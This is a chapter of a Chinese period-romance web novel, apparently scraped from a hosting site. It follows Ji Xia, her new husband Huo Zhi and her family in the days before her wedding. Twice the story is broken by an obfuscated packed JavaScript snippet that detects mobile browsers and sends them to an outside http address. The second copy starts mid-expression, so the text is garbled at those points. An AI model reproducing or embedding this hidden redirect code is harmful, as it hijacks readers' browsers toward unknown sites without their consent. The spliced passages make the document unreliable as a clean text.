估计是没见霍执和纪夏有什么交流,瞧着纪夏是一个人好欺负。 作为一个软柿子,纪夏从小到大对被人插队这件事早已习以为常了。 她只觉得前面男人的汗臭味太熏人,于是默默屏住呼吸往后退了一些。 前面的男人却半点没有自己讨人嫌的自觉,甚至还回过头来。 在见到纪夏的脸后,眼睛立马一亮,两片厚嘴唇一张,就要跟她说话:“哎,这位同志——” 霍执眼神一凛,上前一步,伸手将纪夏护在身后,对着汗臭男沉声道:“同志,麻烦后面排队去。” “关你什么事!”男人气焰很是嚣张。 霍执冷冷看着他,一双眼睛漆黑锐利。 男人被他这么盯着一看,心里竟然升起一股退缩之意。 但从小到大引以为傲的体型给了他底气,面前的霍执虽然身高和他不相上下,但自己的体型却是他的1.5倍! 想到这里,男人顿时腰杆硬了不少,决定给面前这个多管闲事的男人一个教训。 于是他上前一步,伸手就要推搡霍执。 手掌碰到他肩膀上坚硬的骨头,一开始居然没推动。 只见霍执勾了勾唇角,笑容有点冷。 下一秒,高壮的男人只觉得一阵天旋地转,不明白自己怎么一下子脸朝着地面去了,愣了一会儿发现自己此时已经被人从背后擒住了胳膊。 他立马奋力挣扎,然而擒住他的人力气更大,跟铁钳一般,根本挣脱不了。 紧接着,他听见自己头顶的人“嗤”了一声,汗臭男感觉自己手臂的骨头“咔哒”一响,一股钻心的痛传来。 男人忍不住发出杀猪一般的嚎叫:“啊啊啊——我错了我错了疼疼疼——” 听见求饶声,霍执冷笑一声,这才松了手。 男人没想到真遇到硬茬子了,这下也不敢耍横了,目光瑟缩地看了霍执一眼后,灰溜溜地跑了。 其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15072179|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看热闹的人早就对插队的男人敢怒不敢言,见有人收拾他,俱是拍手称快:“真是活该!” 投向霍执的目光中有敬畏也有忌惮。 霍执压根不在意周围各式各样的眼神,不急不缓地回到纪夏身后。 “你没事吧?”纪夏转过来担忧地问。 刚刚的一切发生得太快,等纪夏反应过来时,事情都已经结束了。 “小事而已。”霍执活动活动了手腕关节,无比淡定地说。 而且不知道是不是纪夏的错觉,感觉霍执揍完人后,整条队伍都安静了不少。 排在他们前面的人也没再耽误磨蹭,都是很快地挑选好布,然后付钱付票走人。 没过多久就轮到纪夏和霍执了。 纪夏:“……” 震惊,这难道就是和狠人大佬一起出行的体验吗? …… 来了东西出来后,霍执送纪夏回家。 走到半路上,纪夏突然听见一道迟疑的叫她的声音:“纪夏?” 纪夏循声看过去,又惊又喜:“美岩!” 叫住纪夏的是一个和她年纪差不多的女同志,身上穿着紫色格布衫,梳着两条大辫子。 此人名叫王美岩,是纪夏的高中同学,也是她为数不多的朋友。 “纪夏,真的是你啊!我还以为我眼花了呢!”王美岩看到纪夏有些高兴,说完后目光又移向站在她旁边的高大英俊的男人,不断用眼神询问纪夏这是谁。 纪夏一时有些难以开口。 纠结了一会儿,只好先向霍执介绍王美岩:“这是我朋友,王美岩。” “霍执。”霍执淡淡打了个招呼。 “你好你好!”王美岩打了个招呼,又挽住纪夏的手,对她说,“哎,我都好久没见你了!” 霍执见她们明显有话要聊的样子,主动说:“你们聊吧,我把东西送回去。” 纪夏本来不好意思,但又想到两人现在已经结婚了,便抿唇笑道:“麻烦你了。” 霍执点了点头,拿着东西先走了。 看着他高大挺拔的背影,王美岩用手肘捅了捅纪夏的腰,挤眉弄眼地问:“这人谁啊?不会是你对象吧!” 纪夏点头:“是啊,刚结婚。” 王美岩笑出声:“真是士别三日,当刮目相待,是我小看你了,纪夏你现在都能开这种玩笑了啊哈哈哈!” 纪夏一脸郁卒地看着她。 王美岩笑着笑着就失了声,直接傻眼了:“你说真的啊?” “真的。”纪夏肯定点头,“过几天就办婚礼,你能来吗?” 王美岩毕业没多久就出去探亲去了,纪夏也不知道她什么时候回来,加之最近一直在家里忙活,所以纪夏也没空去找她。 “哪天啊?”王美岩懵懵地说。 “五号。” “五号不是下乡的日子吗?”王美岩回答,脑子也转过弯来,“你不下乡了?咱们不是都约好了去同一个地方吗?” 纪夏垂下眼:“……对不起。” 也不知道怎么和她讲,毕竟做梦什么的讲出来也太怪力乱神了。 王美岩也沉默下来。 但过了一会儿,她重新露出笑脸,布鞋鞋尖踢了踢纪夏的鞋子:“没事,不下乡也挺好,瞧你那细胳膊细腿,连锄头都扛不动,哪次劳动实践课不是我帮你!” 纪夏怒道:“我哪有!” 她是没什么力气,干活也干得慢,但只要给她时间,她也是能做好的吧? 虽然假装生气,但纪夏其实心里很感动,她知道王美岩是在安慰她。 毕竟逃避下乡这时候在明面上是最为人所不齿的,是妥妥的落后分子,很多同学都不愿意与之来往的。 …… 霍执送完东西,本打算直接回机械厂。 走到半路时,突然想起今天出门前,钱英耳提面命交代自己的事情还没和金桂花说。 于是只能又折返回去。 没想到正好又遇见了纪夏和王美岩。 两人正一边走一边说着话。 霍执觉得和纪夏说也是一样,刚走上前想要叫住她,就听见她细细的声音说着:“唉,如果有其他选择的话,我也不想嫁给他的,要是当时能见到他的那个朋友就好了。” 霍执:“???” 13. 第 13 章 纪夏压根不知道自己的话被霍执听了个正着。 因为王美岩正好问起纪夏是怎么和霍执认识的,纪夏想了想掠过做梦的事情不提,简单和她说了下这段时间发生的事情。 “那个姓林的真讨厌,幸好你没嫁给他。”王美岩气愤填膺地骂了几句,转而又为纪夏感到高兴,“你现在能和霍执同志结婚,可真是太好了!” 王美岩想起刚刚霍执和纪夏站在一起的样子,可真是登对极了。 “你不懂,我都快内疚死了。”纪夏十分苦恼,“你不觉得他完全是被我妈给忽悠了吗?” “没有吧?”王美岩并不这么觉得,“你长这么漂亮,他为什么不能只是单纯地看上你了?” 纪夏:“……” 还真是一点都没看出来呢! 在纪夏的印象中,看上她难道不应该像林祥安那样的吗? 或者像其他的相亲对象那种,一眼就能看出来的。 反正纪夏从没在霍执身上感觉到。 而且纪夏真没觉得自己有多漂亮。 她反而觉得王美岩才特别漂亮。 王美岩皮肤是健康的小麦色,双颊透着健康的红晕,一双眼睛漂亮又有神。 她的身材并不纤细,但十分有力量,精神气特别足,特别像画报和样板戏里的人! 纪夏叹了一口气,继续说:“唉,如果有其他选择的话,我也不想嫁给他的,要是当时能见到他的那个朋友就好了。” 如果能和杜长喜相亲,并且相成功的话,她也不用昧着良心嫁给霍执了。 只可惜没有如果。 …… 月黑风高的晚上,杜长喜和霍执窝在一个黑暗的角落里。 不知道是不是错觉,从今天下午开始,杜长喜就一直觉得霍执有些怪怪的。 还时不时用一种很复杂的目光看他。 杜长喜寻思,他这几天好像也没惹到他执哥呀? 所以,肯定不是因为他吧! “来了。”杜长喜看到有人出来,小声道。 霍执按住杜长喜没让他动,杜长喜定睛一看:“哎,那好像是你大……不对,二舅子!” 纪国庆因为纪夏的事去过几次机械厂,杜长喜是认得他的。 而纪国庆也注意到小巷里不寻常的动静了,立马警惕道:“谁在那儿!” 杜长喜怕他坏事,赶忙出来把扯过来,并捂住了他的嘴。 纪国庆看他们鬼鬼祟祟的,脚底下还放着麻袋和麻绳,心里更怀疑了。 这两人绝对不是要干什么正经事! 毕竟是自己的未来妹夫,自己是要假装看不见呢?还是大义灭亲举报呢? 纪国庆陷入纠结。 “来了。”霍执淡淡道。 纪国庆循着声音看过去,认出来了的人是谁后,他立马道:“算我一个!” …… 纪国庆回来时,纪夏正和金桂花围在饭桌前裁大红囍字,到时候用来贴在门窗和墙上。 桌上堆满了碎纸屑,剪纸还掉颜色,纪夏十个手指头都被染得红通通的。 纪国庆吊儿郎当地走进来。 他双手插兜绕着两人走了一圈,也不说话。 今晚停电,娘俩在饭桌上点了一盏煤油灯照明。 光线本就不算强,纪国庆还在旁边晃来晃去,晃得金桂花眼都要花了。 于是干脆瞪他道:“边儿去,净在这碍事。” 纪国庆嘴唇动了动,心里真是遗憾面前这两人不知道自己刚刚干了什么大事! 说起来,纪国庆小时候有一阵子还挺嫉妒纪夏。 主要是小时候经常挨揍,而纪夏一直乖乖的,从没挨过揍,让纪国庆心里不平衡极了。 于是经常背着父母和大哥偷偷欺负她。 结果越欺负越没劲! 抢她糖抢她钱她也不哭,就这么眨巴眨巴眼睛乖乖给他了。 搞得他一点成就感都没有。 但也因此养成了习惯,没事的时候就喜欢嘴贱损纪夏几句。 但其实心里还是挺关心她的。 这阵子他虽然看似吊儿郎当,其实心里一直挺为纪夏忧虑的。 但经过今晚的事过后,纪国庆心里的包袱却轻了不少。 感觉霍执这人应该也差不到哪里去。 可惜不能和她们说! 纪夏察觉到纪国庆的视线,疑惑地问:“我脸上有东西?” 纪国庆反坐在椅子上,晃晃脑袋开口道:“也没什么,我就是想到,等你结婚了,家里就剩下我了,到时候就让妈伺候我一个人!” 纪夏:“……” 她觉得她二哥真是想多了。 果然,下一秒,就听见金桂花冷笑道:“我到时候用竹笋炒肉好好伺候你好不好啊?” 纪国庆:“……” …… 很快就到了婚礼前夕。 王美岩因为马上要下乡,参加不了纪夏的婚礼,于是在前一天就过来给纪夏送来了一条毛巾,提前祝她新婚快乐。 王美岩这一下乡,两人都清楚,未来很长一段时间都不会再见到了。 甚至可能一辈子见不了面了。 一时间,两人都有些伤心。 但纪夏总觉得,王美岩以后应该能有返城的机会,但到底能不能回来,她也不能肯定。 纪夏虽然梦见了未来,但内容都是零零碎碎的。 大多数她都像一个旁观者,只能观看一些关于她的剧情,大部分内容都是和卫鸿哲的纠缠,以及被各种为难。 关于未来发生的其他的事,纪夏其实知之甚少。 她只知道自己卫鸿哲是先回了城的,自己随后没多久也回了城。 但不知道自己是怎么返的城,是家里人托关系,还是有其他什么路子? 不过在梦里,印象中她好像有在城里碰到以前一同做知青的伙伴。 纪夏约好和王美岩保持书信联系,打算到时候她要是能再梦到相关的内容,就写信告诉她。 晚上,金桂花来到纪夏的房间,拉着她说了好一会儿话。 虽然金桂花先前总盼着她结婚,但一想到女儿明天真的属于别人家的了,心里不是滋味极了。 看着刚洗完澡没多久,在昏黄的灯光下越发水润漂亮的女儿,金桂花心里是既骄傲又担忧。 “结了婚后好好和小霍相处。”金桂花交代道,“你脾气好,小霍人也不错,是能好好过日子的。” 纪夏点头。 自己脾气那么好,肯定和他吵不起来。 “也别表现得太好欺负了,”金桂花忧心忡忡,“要是有人对你不好,你就回家来,妈养你一辈子。” 纪夏感动得直点头。 又传授了一些夫妻间相处的小技巧。 最后,金桂花不可避免地要和纪夏谈一谈婚后那方面的事。 但这东西,一时间确实也难开口。 金桂花咳嗽一声,问纪夏:“结婚是怎么回事,你知道的吧?” 纪夏眨眨眼睛:“啊?” 金桂花盯着她一双纯洁的眼睛,觉得真是臊得慌。 好在她跟别人取过经,于是便又接着说:“去领结婚证时,是不是有给你们一人发过一本书,你今晚好好看看!” 纪夏点头:“好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15072180|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她其实之前有翻过,印象中是讲一些婚前婚后的各种注意事项。 “行了,今晚早点睡。”金桂花起身,“明天还得早起呢。” 送走金桂花后,纪夏关上门坐到床上。 纪家一共两盏电灯,一盏在客厅,方便大家做事。 另一盏则在纪夏房间,方便她看书。 但经常夜里停电,大多数时候都是用煤油灯照明。 今晚没停电,纪夏就借着昏黄的电灯打量着自己住了十多年的小卧室。 卧室是隔出来的,铺的水泥地面,刷了白墙。 里面就只放得下一张床、一张小书桌和一个小衣柜,还有一扇采光的小窗户。 因为明天就要出嫁,窗户的毛玻璃上和大白墙上都贴了大红囍字。 想到明天就要离开自己温馨的卧室,去到一个陌生的地方,纪夏一时间也有些不舍起来。 一时之间也睡不着,又想起金桂花的交代,纪夏干脆拿起那本婚前小册子。 翻开目录看了一眼,纪夏略微一想,便明白金桂花让她看的是什么了。 她直接翻到夫妻同房那一页。 因为学过生物知识,纪夏连猜带蒙能看懂是什么意思。 这本手册比生物书好的一点是,它还配了有插图。 但纪夏觉得还不如不配,因为她觉得图片真的有点丑…… 纪夏内心毫无波澜地看完,窗户突然被人敲响了。 她直接被吓了一跳,试探地问了句:“谁啊?” 外面传来纪国庆压低的嗓音:“是我,开下窗。” 纪夏起身走到窗前,打开插销,推开木格窗户,奇怪地问:“二哥,你绕到这边来干什么?” “嘘,小声点!”纪国庆先是数落了她一句,接着往她手里塞了一叠大团结:“我偷偷攒的私房钱,别告诉妈,没多少,你省着点花啊!” 纪夏哭笑不得,本来想拒绝,但想着也是她二哥的一番心意,便也收下了,朝他笑道:“谢谢二哥!” 纪国庆“哼”了一声,随即又塞给她一本书:“还有这个,等我走了你再看!” 纪夏垂眼一看,见是一本手掌大小的,大红色封皮的□□。 心里还纳闷,纪国庆什么时候这么有觉悟了,竟然给她送□□。 纪国庆送完东西后,就鬼鬼祟祟地走了。 纪夏重新关上窗户。 想着刚刚纪国庆神神秘秘的样子,纪夏直觉不对劲,于是翻开书皮。 果然,里面根本不是什么□□,而是一本手抄本! 翻开的一刹那,纪夏已经看到了上面手写的书名——《曼娜回忆录》。 在学校里,纪夏其实隐约有听过这本书。 手抄本一直屡禁不止,这一份更是毒草中的毒草。 有些男生每次提到这本书,脸上都露出心照不宣的笑容。 想也不知道不会是什么正经东西。 纪夏只觉得自己手里拿了一个烫手山芋,一时间扔也不是,不扔也不是。 纠结了一会儿,终究是好奇心占了上风。 纪夏捂着跳着飞快的心脏,心惊胆战地往下看。 这份手抄本明显用了复写纸,并且由好几个人抄成拼凑在一起的,每隔几页都是不同的字迹。 里面的内容更是不堪入目。 相比于婚前手册里平铺直叙,严肃官方的文字,手抄本里内容实在是…… 纪夏全程瞪大双眼,看完后更是面红耳赤,被里面那陌生的知识狠狠震惊到。 看完之后,她默默骂了纪国庆一句,又吐出一口气,直接把这本“□□”塞到了床底最深处。